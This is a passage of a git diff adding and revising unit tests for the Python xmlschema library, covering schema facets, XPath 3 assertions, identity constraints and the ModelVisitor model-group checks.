+ <xs:maxLength value="6"/> + </xs:restriction> + </xs:simpleType> + </xs:list> + </xs:simpleType> + <xs:minLength value="1"/> + <xs:maxLength value="6"/> + </xs:restriction> + </xs:simpleType> + </xs:element> + </xs:schema>""")) + + self.assertTrue(schema.is_valid('<list_of_strings>abcde</list_of_strings>')) + self.assertTrue(schema.is_valid('<list_of_strings>abcdef</list_of_strings>')) + self.assertFalse(schema.is_valid('<list_of_strings>abcd</list_of_strings>')) + self.assertFalse(schema.is_valid('<list_of_strings>abcdefg</list_of_strings>')) + self.assertFalse(schema.is_valid('<list_of_strings> </list_of_strings>')) + + self.assertTrue(schema.is_valid('<list_of_strings>abcde abcde abcde ' + 'abcde abcde abcde</list_of_strings>')) + self.assertFalse(schema.is_valid('<list_of_strings>abcde abcde abcde ' + 'abcde abcd abcde</list_of_strings>')) + self.assertFalse(schema.is_valid('<list_of_strings>abcde abcde abcde ' + 'abcde abcde abcde abcde</list_of_strings>')) + class TestXsd11Identities(TestXsdFacets): @@ -1242,7 +1286,7 @@ def test_assertion_facet(self): </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="xs:string"> - <xs:assertion test="last()" + <xs:assertion test="last()" xpathDefaultNamespace="http://xpath.test/ns"/> </xs:restriction> </xs:simpleType> @@ -1251,7 +1295,6 @@ def test_assertion_facet(self): <xs:assertion test="position()"/> </xs:restriction> </xs:simpleType> - <xs:simpleType name="integer_list"> <xs:list itemType="xs:integer"/> </xs:simpleType> @@ -1263,10 +1306,12 @@ def test_assertion_facet(self): </xs:schema>""")) facet = schema.types['string1'].get_facet(XSD_ASSERTION) + self.assertIsInstance(facet, XsdAssertionFacet) self.assertIsNone(facet('')) self.assertEqual(facet.xpath_default_namespace, '') facet = schema.types['string2'].get_facet(XSD_ASSERTION) + self.assertIsInstance(facet, XsdAssertionFacet) self.assertEqual(facet.xpath_default_namespace, 'http://xpath.test/ns') with self.assertRaises(XMLSchemaValidationError) as ec: facet('') @@ -1278,6 +1323,7 @@ def test_assertion_facet(self): facet = schema.types['integer_vector'].get_facet(XSD_ASSERTION) self.assertIsNone(facet([1, 2, 3])) + self.assertIsInstance(facet, XsdAssertionFacet) self.assertEqual(facet.parser.variable_types, {'value': 'xs:anySimpleType'}) schema = self.schema_class(dedent("""\ @@ -1298,6 +1344,32 @@ def test_assertion_facet(self): self.assertIn("missing attribute 'test'", str(schema.all_errors[0])) self.assertIn("[err:XPST0003] unexpected '?' symbol", str(schema.all_errors[1])) + def test_use_xpath3(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="rootType"/> + <xs:simpleType name="rootType"> + <xs:restriction base="xs:string"> + <xs:assertion test="let $foo := 'bar' return $foo"/> + </xs:restriction> + </xs:simpleType> + </xs:schema>"""), use_xpath3=True) + + self.assertTrue(schema.use_xpath3) + + with self.assertRaises(XMLSchemaParseError) as ctx: + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="rootType"/> + <xs:simpleType name="rootType"> + <xs:restriction base="xs:string"> + <xs:assertion test="let $foo := 'bar' return $foo"/> + </xs:restriction> + </xs:simpleType> + </xs:schema>""")) + + self.assertIn('XPST0003', str(ctx.exception)) + if __name__ == '__main__': import platform diff --git a/tests/validators/test_groups.py b/tests/validators/test_groups.py index 7ff3dd0..e1a31b4 100644 --- a/tests/validators/test_groups.py +++ b/tests/validators/test_groups.py @@ -9,12 +9,12 @@ # @author Davide Brunato <brunato@sissa.it> # import unittest +from textwrap import dedent from typing import Any, Union, List, Optional -from xmlschema import XMLSchemaModelError, XMLSchemaModelDepthError +from xmlschema import XMLSchema, XMLSchemaModelError, XMLSchemaModelDepthError from xmlschema.exceptions import XMLSchemaValueError -from xmlschema.validators.particles import ParticleMixin -from xmlschema.validators.groups import XsdGroup +from xmlschema.validators import ParticleMixin, XsdGroup, XsdElement class ModelGroup(XsdGroup): @@ -23,13 +23,18 @@ class ModelGroup(XsdGroup): def __init__(self, model: str, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: ParticleMixin.__init__(self, min_occurs, max_occurs) if model not in {'sequence', 'choice', 'all'}: - raise XMLSchemaValueError("invalid model {!r} for a group".format(model)) + raise XMLSchemaValueError(f"invalid model {model!r} for a group") self._group: List[Union[ParticleMixin, 'ModelGroup']] = [] + self.content = self._group self.model: str = model def __repr__(self) -> str: return '%s(model=%r, occurs=%r)' % (self.__class__.__name__, self.model, self.occurs) + @property + def xsd_version(self) -> str: + return '1.0' + append: Any @@ -336,6 +341,99 @@ def test_overall_max_occurs(self): root_group[1].max_occurs = None self.assertIsNone(root_group.overall_max_occurs(group)) + def test_model_group_composition_in_a_sequence__issue_384(self): + schema = XMLSchema(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="type1"/> + <xs:complexType name="type1"> + <xs:sequence> + <xs:element name="elem1" type="xs:string"/> + <xs:group ref="group1"/> + </xs:sequence> + </xs:complexType> + <xs:group name="group1"> + <xs:choice> + <xs:element name="elem2" type="xs:string"/> + <xs:element name="elem3" type="xs:string"/> + </xs:choice> + </xs:group> + </xs:schema>""")) + + xsd_type = schema.types['type1'] + self.assertIsInstance(xsd_type.content, XsdGroup) + self.assertEqual(xsd_type.content.model, 'sequence') + self.assertEqual(len(xsd_type.content), 2) + self.assertEqual(xsd_type.content[0].name, 'elem1') + self.assertIsInstance(xsd_type.content[0], XsdElement) + self.assertIsInstance(xsd_type.content[1], XsdGroup) + self.assertEqual(xsd_type.content[1].model, 'choice') + + xsd_group = schema.groups['group1'] + self.assertEqual(xsd_group.model, 'choice') + self.assertIs(xsd_type.content[1].ref, xsd_group) + self.assertEqual(len(xsd_group), 2) + self.assertEqual(xsd_group[0].name, 'elem2') + self.assertIsInstance(xsd_group[0], XsdElement) + self.assertEqual(xsd_group[1].name, 'elem3') + self.assertIsInstance(xsd_group[1], XsdElement) + + self.assertTrue(schema.is_valid('<root><elem1>a</elem1><elem2>b</elem2></root>')) + self.assertTrue(schema.is_valid('<root><elem1>a</elem1><elem3>c</elem3></root>')) + + self.assertFalse(schema.is_valid('<root><elem1>a</elem1></root>')) + self.assertFalse(schema.is_valid('<root><elem2>b</elem2></root>')) + self.assertFalse(schema.is_valid('<root><elem3>c</elem3></root>')) + + self.assertFalse(schema.is_valid( + '<root><elem1>a</elem1><elem2>b</elem2><elem3>c</elem3></root>' + )) + self.assertFalse(schema.is_valid( + '<root><elem1>a</elem1><elem3>c</elem3><elem2>b</elem2></root>' + )) + + def test_is_optional__issue_410(self): + schema = XMLSchema(dedent("""\ + <?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="muclient"> + <xs:complexType> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="include"/> + <xs:choice> + <xs:element name="plugin"/> + <xs:element name="world"/> + <xs:element name="triggers"/> + <xs:element name="aliases"/> + <xs:element name="timers"/> + <xs:element name="macros"/> + <xs:element name="variables"/> + <xs:element name="colours"/> + <xs:element name="keypad"/> + <xs:element name="printing"/> + </xs:choice> + </xs:choice> + </xs:complexType> + </xs:element> + </xs:schema>""")) + + group = schema.elements['muclient'].type.content + + self.assertRaises(ValueError, group.is_optional, schema.elements['muclient']) + + self.assertTrue(group.is_optional(group[0])) + for xsd_element in group[1]: + self.assertTrue(group.is_optional(xsd_element)) + + group.min_occurs = 1 + self.assertTrue(group.is_optional(group[0])) + for xsd_element in group[1]: + self.assertTrue(group.is_optional(xsd_element)) + + group.model = 'sequence' + self.assertFalse(group.is_optional(group[0])) + for xsd_element in group[1]: + self.assertTrue(group.is_optional(xsd_element)) + if __name__ == '__main__': import platform diff --git a/tests/validators/test_identities.py b/tests/validators/test_identities.py index 1b559da..236cd9f 100644 --- a/tests/validators/test_identities.py +++ b/tests/validators/test_identities.py @@ -9,14 +9,17 @@ # @author Davide Brunato <brunato@sissa.it> # import unittest +import os +import xml.etree.ElementTree as ElementTree from xmlschema import XMLSchemaParseError, XMLSchemaValidationError from xmlschema.validators import XMLSchema11 -from xmlschema.validators.identities import IdentityCounter, KeyrefCounter +from xmlschema.validators.identities import IdentityCounter, KeyrefCounter, FieldValueSelector from xmlschema.testing import XsdValidatorTestCase class TestXsdIdentities(XsdValidatorTestCase): + TEST_CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') def test_key_definition(self): schema = self.check_schema(""" @@ -122,23 +125,7 @@ def test_invalid_selector_path(self): </xs:key> </xs:element>""") - self.assertIn("a QName cannot contains spaces", ctx.exception.message) - - def test_selector_target_namespace(self): - schema = self.check_schema(""" - <xs:element name="primary_key" type="xs:string"> - <xs:key name="key1"> - <xs:selector xpath="xs:*"/> - <xs:field xpath="."/> - <xs:field xpath="@xs:*"/> - </xs:key> - </xs:element>""") - - self.assertEqual(schema.identities['key1'].selector.target_namespace, - 'http://www.w3.org/2001/XMLSchema') - self.assertEqual(schema.identities['key1'].fields[0].target_namespace, '') - self.assertEqual(schema.identities['key1'].fields[1].target_namespace, - 'http://www.w3.org/2001/XMLSchema') + self.assertIn("XPST0003", ctx.exception.message) def test_invalid_selector_node(self): with self.assertRaises(XMLSchemaParseError) as ctx: @@ -322,7 +309,12 @@ def test_build(self): </xs:complexType> </xs:element>""") - self.assertEqual(schema.identities['key1'].elements, {schema.elements['a']: None}) + self.assertIn(schema.elements['a'], schema.identities['key1'].elements) + self.assertEqual(len(schema.identities['key1'].elements), 1) + self.assertTrue(all( + isinstance(x, FieldValueSelector) + for x in schema.identities['key1'].elements[schema.elements['a']] + )) def test_identity_counter(self): schema = self.check_schema(""" @@ -333,7 +325,8 @@ def test_identity_counter(self): </xs:key> </xs:element>""") - counter = IdentityCounter(schema.identities['key1']) + elem = ElementTree.XML('<primary_key>3</primary_key>') + counter = IdentityCounter(schema.identities['key1'], elem) self.assertEqual(repr(counter), 'IdentityCounter()') self.assertIsNone(counter.increase(('1',))) self.assertIsNone(counter.increase(('2',))) @@ -359,7 +352,8 @@ def test_keyref_counter(self): </xs:keyref> </xs:element>""") - counter = KeyrefCounter(schema.identities['keyref1']) + elem = ElementTree.XML('<primary_key>3</primary_key>') + counter = KeyrefCounter(schema.identities['keyref1'], elem) self.assertIsNone(counter.increase(('1',))) self.assertIsNone(counter.increase(('2',))) self.assertIsNone(counter.increase(('1',))) @@ -370,7 +364,7 @@ def test_keyref_counter(self): with self.assertRaises(KeyError): list(counter.iter_errors(identities={})) - key_counter = IdentityCounter(schema.identities['key1']) + key_counter = IdentityCounter(schema.identities['key1'], elem) self.assertIsNone(key_counter.increase(('1',))) self.assertIsNone(key_counter.increase('4')) @@ -381,6 +375,18 @@ def test_keyref_counter(self): self.assertIn("value ('3',) not found", str(errors[1])) self.assertIn("(2 times)", str(errors[1])) + def test_key_multiple_values__issue_418(self): + xsd_file = self.casepath('issues/issue_418/issue_418.xsd') + schema = self.schema_class(xsd_file) + + xml_file = self.casepath('issues/issue_418/issue_418.xml') + self.assertIsNone(schema.validate(xml_file)) + + xml_file = self.casepath('issues/issue_418/issue_418-invalid.xml') + with self.assertRaises(XMLSchemaValidationError) as ctx: + schema.validate(xml_file) + self.assertIn("field selects multiple values", str(ctx.exception)) + class TestXsd11Identities(TestXsdIdentities): @@ -399,8 +405,8 @@ def test_key_reference_definition(self): </xs:element>""") key1 = schema.identities['key1'] - self.assertIsNot(schema.elements['secondary_key'].identities['key1'], key1) - self.assertIs(schema.elements['secondary_key'].identities['key1'].ref, key1) + self.assertIsNot(schema.elements['secondary_key'].identities[0], key1) + self.assertIs(schema.elements['secondary_key'].identities[0].ref, key1) def test_missing_key_reference_definition(self): schema = self.check_schema(""" @@ -445,16 +451,16 @@ def test_keyref_reference_definition(self): <xs:keyref name="keyref1" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> - </xs:keyref> + </xs:keyref> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:keyref ref="keyref1"/> </xs:element>""") - self.assertIsNot(schema.elements['secondary_key'].identities['keyref1'], - schema.elements['primary_key'].identities['keyref1']) - self.assertIs(schema.elements['secondary_key'].identities['keyref1'].ref, - schema.elements['primary_key'].identities['keyref1']) + self.assertIsNot(schema.elements['secondary_key'].identities[0], + schema.elements['primary_key'].identities[-1]) + self.assertIs(schema.elements['secondary_key'].identities[0].ref, + schema.elements['primary_key'].identities[-1]) def test_selector_default_namespace(self): schema = self.check_schema(""" diff --git a/tests/validators/test_models.py b/tests/validators/test_models.py index f04b634..7f88b4f 100644 --- a/tests/validators/test_models.py +++ b/tests/validators/test_models.py @@ -10,15 +10,19 @@ # """Tests concerning model groups validation""" import unittest +import copy import os.path +import warnings +from itertools import zip_longest from textwrap import dedent from typing import Any, Union, List, Optional from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.exceptions import XMLSchemaValueError -from xmlschema.validators.exceptions import XMLSchemaValidationError +from xmlschema.validators.exceptions import XMLSchemaValidationError, XMLSchemaModelError from xmlschema.validators.particles import ParticleMixin -from xmlschema.validators.models import distinguishable_paths, ModelVisitor +from xmlschema.validators.models import distinguishable_paths, ModelVisitor, \ + sort_content, iter_collapsed_content from xmlschema.validators.groups import XsdGroup from xmlschema.validators.elements import XsdElement from xmlschema.testing import XsdValidatorTestCase @@ -30,8 +34,9 @@ class ModelGroup(XsdGroup): def __init__(self, model: str, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: ParticleMixin.__init__(self, min_occurs, max_occurs) if model not in {'sequence', 'choice', 'all'}: - raise XMLSchemaValueError("invalid model {!r} for a group".format(model)) + raise XMLSchemaValueError(f"invalid model {model!r} for a group") self._group: List[Union[ParticleMixin, 'ModelGroup']] = [] + self.content = self._group self.model: str = model def __repr__(self) -> str: @@ -63,7 +68,7 @@ def check_advance_true(self, model, expected=None): def check_advance_false(self, model, expected=None): """ Advances a model with a no-match condition and checks the - expected error list or or exception. + expected error list or exception. :param model: an ModelGroupVisitor instance. :param expected: can be an exception class or a list. Leaving `None` means that \ @@ -101,6 +106,28 @@ def check_stop(self, model, expected=None): else: self.assertEqual([e for e in model.stop()], expected or []) + def check_copy_equivalence(self, model1, model2): + """ + Advances a model with an argument match condition and checks the expected error list. + """ + self.assertIs(model1.root, model2.root) + self.assertIs(model1.element, model2.element) + self.assertIs(model1.group, model2.group) + self.assertIs(model1.match, model2.match) + self.assertIsNot(model1.occurs, model2.occurs) + self.assertEqual(model1.occurs, model2.occurs) + self.assertIsNot(model1._groups, model2._groups) + self.assertEqual(len(model1._groups), len(model2._groups)) + + for t1, t2 in zip(model1._groups, model2._groups): + self.assertIs(t1[0], t2[0]) + self.assertIs(t1[2], t2[2]) + for o1, o2 in zip_longest(t1[1], t2[1]): + self.assertIs(o1, o2) + + for o1, o2 in zip_longest(model1.items, model2.items): + self.assertIs(o1, o2) + # --- ModelVisitor methods --- def test_iter_group(self): @@ -115,7 +142,7 @@ def test_iter_group(self): model = ModelVisitor(group) model.occurs[group[1]] = 1 - self.assertListEqual(list(model.items), group[1:]) + self.assertEqual(list(model.items), group[1:]) group = ModelGroup('all') group.append(ParticleMixin()) @@ -124,7 +151,7 @@ def test_iter_group(self): model = ModelVisitor(group) model.occurs[group[1]] = 1 - self.assertListEqual(list(model.items), group[2:]) + self.assertEqual(list(model.items), group[2:]) # --- Vehicles schema --- @@ -173,7 +200,9 @@ def test_collection_model(self): self.assertIsNone(model.element) model = ModelVisitor(group) - self.check_advance_false(model, [(group[0], 0, [group[0]])]) # <not-a-car> + self.check_advance_false( + model, [(group[0], 0, [group[0]]), (group, 0, [group[0]])] + ) # <not-a-car> self.assertIsNone(model.element) def test_person_type_model(self): @@ -212,7 +241,7 @@ def test_meta_simple_derivation_model(self): </xs:choice> </xs:group> """ - group = XMLSchema10.meta_schema.groups['simpleDerivation'] + group = self.schema_class.meta_schema.groups['simpleDerivation'] model = ModelVisitor(group) self.check_advance_true(model) # <restriction> matches @@ -542,7 +571,9 @@ def test_model_group7(self): model = ModelVisitor(group) self.assertEqual(model.element, group[0][0]) - self.check_stop(model, [(group[0][0], 0, [group[0][0]])]) + self.check_stop( + model, [(group[0][0], 0, [group[0][0]]), (group, 0, [group[0][0]])] + ) group = self.models_schema.types['complexType7_emptiable'].content @@ -620,35 +651,35 @@ def test_single_item_groups(self): <xs:choice> <xs:any maxOccurs="2" processContents="lax"/> </xs:choice> - </xs:complexType> + </xs:complexType> </xs:element> <xs:element name="a2"> <xs:complexType> <xs:choice> <xs:any maxOccurs="2" processContents="strict"/> </xs:choice> - </xs:complexType> + </xs:complexType> </xs:element> <xs:element name="a3"> <xs:complexType> <xs:sequence> <xs:any maxOccurs="2" processContents="lax"/> </xs:sequence> - </xs:complexType> + </xs:complexType> </xs:element> <xs:element name="a4"> <xs:complexType> <xs:choice> <xs:element name="b" maxOccurs="2"/> </xs:choice> - </xs:complexType> + </xs:complexType> </xs:element> <xs:element name="a5"> <xs:complexType> <xs:sequence> <xs:element name="b" maxOccurs="2"/> </xs:sequence> - </xs:complexType> + </xs:complexType> </xs:element> <xs:element name="b"/> </xs:schema>""") @@ -872,6 +903,454 @@ def test_issue_086(self): self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_stop(model) + def test_model_visitor_copy(self): + schema = self.schema_class( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:group ref="group1" minOccurs="2" maxOccurs="unbounded"/> + <xs:group ref="group2" minOccurs="0" maxOccurs="unbounded"/> + <xs:group ref="group3" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:group name="group1"> + <xs:choice> + <xs:element name="a1" maxOccurs="unbounded"/> + <xs:element name="b1"/> + <xs:element name="c1"/> + </xs:choice> + </xs:group> + <xs:group name="group2"> + <xs:sequence> + <xs:element name="a2"/> + <xs:element name="b2" maxOccurs="unbounded"/> + <xs:element name="c2" minOccurs="0" maxOccurs="unbounded"/> + </xs:sequence> + </xs:group> + <xs:group name="group3"> + <xs:sequence> + <xs:element name="a3" minOccurs="0" maxOccurs="unbounded"/> + <xs:element name="b3" maxOccurs="unbounded"/> + <xs:element name="c3"/> + </xs:sequence> + </xs:group> + </xs:schema>""") + + group = schema.elements['root'].type.content + + model = ModelVisitor(group) + self.assertIs(model.element, group[0][0][0]) + self.assertEqual(model.element.name, 'a1') + self.check_copy_equivalence(model, copy.copy(model)) + + model = ModelVisitor(group) + self.assertIs(model.element, group[0][0][0]) + self.assertEqual(model.element.name, 'a1') + self.check_advance_true(model) # <a1> matches + self.assertEqual(model.element.name, 'a1') + self.check_copy_equivalence(model, copy.copy(model)) + + model = ModelVisitor(group) + self.assertIs(model.element, group[0][0][0]) + self.assertEqual(model.element.name, 'a1') + self.check_advance_true(model) # <a1> matches + self.assertEqual(model.element.name, 'a1') + self.check_advance_false(model) # <a1> doesn't match + self.assertEqual(model.element.name, 'a1') + self.check_advance_false(model) # <a1> doesn't match + self.assertEqual(model.element.name, 'b1') + self.check_advance_true(model) # <b1> matches + self.assertEqual(model.element.name, 'a1') + self.check_advance_false(model) # <a1> doesn't match + self.assertEqual(model.element.name, 'b1') + self.check_advance_false(model) # <b1> doesn't match + self.assertEqual(model.element.name, 'c1') + self.check_advance_false(model) # <c1> doesn't match + self.assertEqual(model.element.name, 'a2') + self.check_advance_false(model) # <a2> doesn't match + self.assertEqual(model.element.name, 'a3') + self.check_copy_equivalence(model, copy.copy(model)) + + model = ModelVisitor(group) + self.check_advance_true(model) # <a1> matches + self.check_advance_false(model) # <a1> doesn't match + self.check_advance_false(model) # <a1> doesn't match + self.check_advance_true(model) # <b1> matches + self.check_advance_false(model) # <a1> doesn't match + self.check_advance_false(model) # <b1> doesn't match + self.check_advance_false(model) # <c1> doesn't match + self.check_advance_false(model) # <a2> doesn't match + self.assertEqual(model.element.name, 'a3') + + self.check_advance_false(model) # <a3> doesn't match + self.assertEqual(model.element.name, 'b3') + self.check_advance_true(model) # <b3> matches + self.check_advance_false(model) # <b3> doesn't match + self.assertEqual(model.element.name, 'c3') + self.check_advance_true(model) # <c3> matches + self.assertEqual(model.element.name, 'a3') + + self.check_copy_equivalence(model, copy.copy(model)) + + def test_model_visitor_copy_nested(self): + schema = self.schema_class( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="a1"/> + <xs:group ref="group1" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:group name="group1"> + <xs:sequence> + <xs:element name="a2"/> + <xs:group ref="group2" maxOccurs="unbounded"/> + </xs:sequence> + </xs:group> + <xs:group name="group2"> + <xs:sequence> + <xs:element name="a3"/> + <xs:group ref="group3" maxOccurs="unbounded"/> + </xs:sequence> + </xs:group> + <xs:group name="group3"> + <xs:sequence> + <xs:element name="b3"/> + <xs:element name="c3"/> + </xs:sequence> + </xs:group> + </xs:schema>""") + + group = schema.elements['root'].type.content + + model = ModelVisitor(group) + self.check_advance_true(model) # <a1> matches + self.assertEqual(len(model._groups), 1) + self.check_copy_equivalence(model, copy.copy(model)) + + model = ModelVisitor(group) + self.check_advance_true(model) # <a1> matches + self.assertEqual(model.element.name, 'a2') + self.check_advance_true(model) # <a2> matches + self.assertEqual(model.element.name, 'a3') + self.assertEqual(len(model._groups), 2) + self.check_copy_equivalence(model, copy.copy(model)) + + model = ModelVisitor(group) + self.check_advance_true(model) # <a1> matches + self.assertEqual(model.element.name, 'a2') + self.check_advance_true(model) # <a2> matches + self.assertEqual(model.element.name, 'a3') + self.check_advance_true(model) # <a3> matches + self.assertEqual(len(model._groups), 3) + self.assertEqual(model.element.name, 'b3') + self.check_copy_equivalence(model, copy.copy(model)) + + def test_stoppable_property(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence minOccurs="0"> + <xs:element name="a" /> + <xs:element name="b" maxOccurs="2"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema> + """)) + + self.assertTrue(schema.is_valid('<root/>')) + + group = schema.elements['root'].type.content + + model = ModelVisitor(group) + self.assertIs(model.element, group[0]) # 'a' element + self.assertTrue(model.stoppable) + self.check_advance_true(model) # <a> matching + self.assertEqual(model.element, group[1]) # 'b' element + self.assertFalse(model.stoppable) + self.check_advance_true(model) # <b> matching + self.assertTrue(model.stoppable) + + def test_particle_occurs_check_methods(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence minOccurs="0"> + <xs:element name="a" /> + <xs:element name="b" maxOccurs="2"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + a, b = group[:] + + model = ModelVisitor(group) + + for xsd_element in group: + self.assertTrue(model.is_missing(xsd_element)) + self.assertFalse(model.is_over(xsd_element)) + self.assertFalse(model.is_exceeded(xsd_element)) + + self.assertIs(model.element, a) + self.assertTrue(model.is_missing()) + self.assertFalse(model.is_over()) + self.assertFalse(model.is_exceeded()) + + self.check_advance_true(model) + self.assertIs(model.element, b) + self.assertTrue(model.is_missing()) + self.assertFalse(model.is_over()) + self.assertFalse(model.is_exceeded()) + self.assertFalse(model.is_missing(a)) + self.assertTrue(model.is_over(a)) + self.assertFalse(model.is_exceeded(a)) + + self.check_advance_true(model) + self.assertIs(model.element, b) + self.assertFalse(model.is_missing()) + self.assertFalse(model.is_over()) + self.assertFalse(model.is_exceeded()) + + self.check_advance_true(model) + self.assertIsNone(model.element) + self.assertRaises(ValueError, model.is_missing) + self.assertRaises(ValueError, model.is_over) + self.assertRaises(ValueError, model.is_exceeded) + + def test_get_model_particle(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:choice> + <xs:group ref="top"/> + <xs:element name="c" minOccurs="1"/> + </xs:choice> + </xs:complexType> + </xs:element> + <xs:element name="b"/> + <xs:group name="top"> + <xs:sequence> + <xs:element name="a" minOccurs="0"/> + <xs:element ref="b" minOccurs="0" maxOccurs="2"/> + </xs:sequence> + </xs:group> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + top, c = group[:] + a, b = schema.groups['top'] + + model = ModelVisitor(group) + self.assertIs(model.get_model_particle(a), a) + self.assertIs(model.get_model_particle(b), b) + self.assertIs(model.get_model_particle(c), c) + self.assertIs(model.get_model_particle(top), top) + + # Global model groups head declaration doesn't belong to any concrete model + with self.assertRaises(XMLSchemaModelError) as ctx: + model.get_model_particle(b.ref) + self.assertIn("not a particle of the model group", str(ctx.exception)) + + with self.assertRaises(XMLSchemaModelError) as ctx: + model.get_model_particle(top.ref) + self.assertIn("not a particle of the model group", str(ctx.exception)) + + self.assertIs(model.get_model_particle(), model.element) + self.assertListEqual(list(model.stop()), []) + + with self.assertRaises(XMLSchemaValueError) as ctx: + model.get_model_particle() + self.assertIn("can't defaults to current element", str(ctx.exception)) + + def test_model_occurs_check_methods(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence maxOccurs="25"> + <xs:element name="a" minOccurs="0"/> + <xs:element name="b" maxOccurs="2"/> + <xs:element name="c" minOccurs="4" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + a, b, c = group[:] + + model = ModelVisitor(group) + self.assertEqual(model.overall_min_occurs(a), 0) + self.assertEqual(model.overall_min_occurs(b), 1) + self.assertEqual(model.overall_min_occurs(c), 4) + + self.assertEqual(model.overall_max_occurs(a), 25) + self.assertEqual(model.overall_max_occurs(b), 50) + self.assertIsNone(model.overall_max_occurs(c)) + + self.assertTrue(model.is_optional(a)) + self.assertFalse(model.is_optional(b)) + self.assertFalse(model.is_optional(c)) + + self.assertIs(model.element, a) + self.assertListEqual(list(model.advance(True)), []) + self.assertIs(model.element, b) + self.assertListEqual(list(model.advance(True)), []) + self.assertIs(model.element, b) + self.assertListEqual(list(model.advance(False)), []) + self.assertIs(model.element, c) + self.assertListEqual(list(model.advance(True)), []) + + self.assertEqual(model.overall_min_occurs(a), 0) + self.assertEqual(model.overall_min_occurs(b), 0) + self.assertEqual(model.overall_min_occurs(c), 3) + + self.assertEqual(model.overall_max_occurs(a), 24) + self.assertEqual(model.overall_max_occurs(b), 49) + self.assertIsNone(model.overall_max_occurs(c)) + + self.assertTrue(model.is_optional(a)) + self.assertTrue(model.is_optional(b)) + self.assertFalse(model.is_optional(c)) + + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:choice maxOccurs="10"> + <xs:group ref="top" maxOccurs="25"/> + <xs:element name="d" minOccurs="1"/> + </xs:choice> + </xs:complexType> + </xs:element> + <xs:group name="top"> + <xs:sequence> + <xs:element name="a" minOccurs="0"/> + <xs:element name="b" maxOccurs="2"/> + <xs:element name="c" minOccurs="4" maxOccurs="unbounded"/> + </xs:sequence> + </xs:group> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + top, d = group[:] + a, b, c = schema.groups['top'] + + model = ModelVisitor(group) + self.assertEqual(model.overall_min_occurs(a), 0) + self.assertEqual(model.overall_min_occurs(b), 0) + self.assertEqual(model.overall_min_occurs(c), 0) + self.assertEqual(model.overall_min_occurs(top), 0) + self.assertEqual(model.overall_min_occurs(d), 0) + + self.assertEqual(model.overall_max_occurs(a), 250) + self.assertEqual(model.overall_max_occurs(b), 500) + self.assertIsNone(model.overall_max_occurs(c)) + self.assertEqual(model.overall_max_occurs(top), 250) + self.assertEqual(model.overall_max_occurs(d), 10) + + self.assertIs(model.element, a) + self.assertListEqual(list(model.advance(False)), []) + self.assertIs(model.element, b) + self.assertListEqual(list(model.advance_until('d')), []) + self.assertIs(model.element, a) + + self.assertEqual(model.overall_min_occurs(a), 0) + self.assertEqual(model.overall_min_occurs(b), 0) + self.assertEqual(model.overall_min_occurs(c), 0) + self.assertEqual(model.overall_min_occurs(top), 0) + self.assertEqual(model.overall_min_occurs(d), 0) + + self.assertEqual(model.overall_max_occurs(a), 225) + self.assertEqual(model.overall_max_occurs(b), 450) + self.assertIsNone(model.overall_max_occurs(c)) + self.assertEqual(model.overall_max_occurs(top), 225) + self.assertEqual(model.overall_max_occurs(d), 9) + + def test_check_following(self): + schema = self.schema_class(dedent( + """<?xml version="1.0" encoding="UTF-8"?> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="a" minOccurs="0"/> + <xs:element name="b" minOccurs="3" maxOccurs="8"/> + <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> + <xs:element name="d"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema> + """)) + + group = schema.elements['root'].type.content + a, b, c, d = group + + model = ModelVisitor(group) + self.assertTrue(model.check_following(a)) + self.assertTrue(model.check_following(b)) + self.assertTrue(model.check_following((a, 1), b.name)) 